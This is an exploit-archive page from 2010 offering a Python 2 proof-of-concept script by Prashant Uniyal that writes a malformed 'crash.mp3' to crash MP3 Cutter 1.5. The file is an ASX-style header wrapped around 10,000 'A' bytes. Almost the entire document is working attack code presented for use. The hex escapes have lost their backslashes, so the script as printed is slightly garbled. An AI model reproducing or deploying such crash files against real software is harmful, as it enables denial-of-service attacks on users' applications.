[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MP3 Cutter v1.5 DoS Exploit
# Published : 2010-07-09
# Author : Prashant Uniyal
# Previous Title : Microsoft MSHTML.DLL CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak [0-Day]
# Next Title : Opera Denial of Service by <canvas> Element 


##########################################################
##       Legion of Xtremers & Hackers Garage 
##       (www.loxian.co.cc)   (www.garage4hackers.com)                                                  
##                     MP3 Cutter 1.5 Crash Exploit 
##
##               Author: Prashant a.k.a t3rm!n4t0r						    
##           	c0ntact: happyterminator@gmail.com					   
##                                   				  
##  Greetz to: vinnu, b0nd, fb1h2s, Anarki, Nikhil, D4RK3ST
###########################################################






#exploit.py
#MP3 cutter Crash Exploit

print " MP3 Cutter Crash Exploit ( mp3 file ) n"

         	
header1 = (
			"x3Cx41x53x58x20x56x45x52x53x49x4Fx4Ex3Dx22x33"
		        "x2Ex30x22x3Ex0Ax0Ax3Cx45x4Ex54x52x59x3Ex3Cx54"
			"x49x54x4Cx45x3Ex65x78x70x6Cx6Fx69x74x3Cx2Fx54"
			"x49x54x4Cx45x3Ex0Ax3Cx52x45x46x20x48x52x45x46"
			"x3Dx22"
			)

header2 = (
			"x2Ex61x73x66x22x2Fx3Ex0Ax3Cx2Fx45x4Ex54x52x59"
			"x3Ex3Cx2Fx41x53x58x3E"
		   )
			
crash = "x41" * 10000

exploit = header1 + crash  + header2

try:
    out_file = open("crash.mp3",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("nExploit file created!n")
except:
    print "Error"